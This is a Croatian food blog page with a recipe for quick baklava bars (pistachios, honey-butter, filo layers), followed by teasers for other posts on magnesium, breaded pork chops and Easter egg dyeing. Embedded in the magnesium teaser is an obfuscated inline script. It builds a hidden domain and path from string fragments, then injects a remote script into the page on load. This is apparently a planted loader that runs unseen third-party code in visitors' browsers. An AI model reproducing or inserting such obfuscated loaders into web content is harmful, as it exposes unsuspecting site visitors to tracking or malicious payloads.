BAKLAVA PLOČICE




Baklava pločice 



Bez strpljenja nema dobre baklave, znaju svi oni koji su je ikada pokušali napraviti. Tanki listovi tijesta, orašasti plodovi i mirisni slatki sirup stvaraju neodoljivu kombinaciju okusa, ali priprema zahtijeva vrijeme i trud. U potrazi za okusom baklave, ali u bržoj izvedbi možete smanjiti broj listova i ispeći slasne pločice.




Baklava pločice 


Sastojci:

  • 40 g očišćenih, prženih pistacija
  • 2 žlice šećera
  • 55 g maslaca
  • 3 žlice meda
  • ½ žličice mljevenog cimeta
  • ¼ žličice sitne morske soli
  • 2 cijela klinčića, po želji
  • 4 velika lista za saviječe



Priprema:

  1. Pripremite pećnicu i lim. Pećnicu zagrijte na 175 °C. Veliki lim za pečenje obložite papirom za pečenje tako da papir odgovara veličini dna lima.
  2. Usitnite pistacije. Pistacije i šećer stavite u multipraktik i kratko miksajte dok ne dobijete vrlo sitno mljevenu smjesu. Pistacije možete usitniti i u mužaru ili ih vrlo sitno nasjeckati pa pomiješati sa šećerom.
  3. Pripremite mješavinu maslaca i meda. U manjem lončiću pomiješajte maslac, med, cimet, sol i, po želji, klinčiće. Zagrijavajte na laganoj vatri oko pet minuta, odnosno dok se maslac potpuno ne otopi. Izvadite klinčiće.
  4. Složite prvi sloj. Na pripremljeni lim položite jedan list tijesta. Kistom premažite tijesto otprilike trećinom mješavine maslaca i meda.
  5. Dodajte pistacije. Po tijestu ravnomjerno pospite trećinu mješavine pistacija i šećera. Prekrijte drugim listom tijesta i lagano pritisnite kako bi se slojevi povezali. Postupak ponovite s još dva sloja maslaca, meda i pistacija. Završite četvrtim listom tijesta.
  6. Ispecite. Preko složenog tijesta stavite list papira za pečenje, a zatim ga pritisnite drugim limom za pečenje kako bi tijekom pečenja ostalo ravno. Pecite oko 12 minuta, odnosno dok filo ne počne dobivati zlatnu boju. Uklonite gornji lim i papir, okrenite donji lim za 180 stupnjeva i pecite još oko četiri minute, dok tijesto ne postane lijepo zlatnosmeđe i hrskavo. Pred kraj ga pažljivo pratite jer lako zagori.
  7. Narežite i ohladite. Pečene slojeve zajedno s papirom za pečenje prebacite na veliku dasku. Narežite ih najprije na pet traka širine otprilike 7,5 cm, a zatim svaku traku na osam trokuta. Ostavite da se hlade oko 15 minuta – hlađenjem će postati još hrskaviji.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više